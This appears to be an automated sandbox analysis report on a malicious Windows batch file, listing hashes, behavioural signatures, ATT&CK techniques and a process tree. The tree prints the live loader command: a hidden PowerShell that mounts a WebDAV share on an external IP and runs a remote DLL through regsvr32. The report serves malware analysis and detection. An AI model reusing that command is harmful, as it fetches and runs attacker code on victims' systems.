22ef34d109b249f69271589bcd637260f18253622671cef13868829f57e2bb9b

Analysis

max time kernel
100s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 22:16

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General

Target

1568576003037825211.bat
Size

16KB
MD5

8328f1f9fc083be523551d748f9f25c9
SHA1

233099d0efcd3405eddb74091bf557d1af195a51
SHA256

22ef34d109b249f69271589bcd637260f18253622671cef13868829f57e2bb9b
SHA512

5a501ae297b7fd4fbbf20cf4973e9f9dc490ce32690a424d2f7a08af364f2a6d126a4fc9fde23ac52b581cc10d56c572b0333611f378c72312be6696fd5af394
SSDEEP

384:ZHS5V+HXkzt3UrbasYDDULs8IH7BpduYLjPUVBIarkhf1B:ZHSW3kVUPasqDcIlpduYfPUVIh9B

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
936	powershell.exe
936	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	936	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
388	wordpad.exe
388	wordpad.exe
388	wordpad.exe
388	wordpad.exe
388	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3772 wrote to memory of 388	3772	cmd.exe	85
PID 3772 wrote to memory of 388	3772	cmd.exe	85
PID 3772 wrote to memory of 936	3772	cmd.exe	87
PID 3772 wrote to memory of 936	3772	cmd.exe	87
PID 936 wrote to memory of 3280	936	powershell.exe	89
PID 936 wrote to memory of 3280	936	powershell.exe	89
PID 936 wrote to memory of 2020	936	powershell.exe	90
PID 936 wrote to memory of 2020	936	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1568576003037825211.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\211631960111118.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3280
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\211631960111118.dll
    3⤵
    PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hzxgts2d.oqr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/936-0-0x000001BF7F5C0000-0x000001BF7F5E2000-memory.dmp

Filesize
136KB

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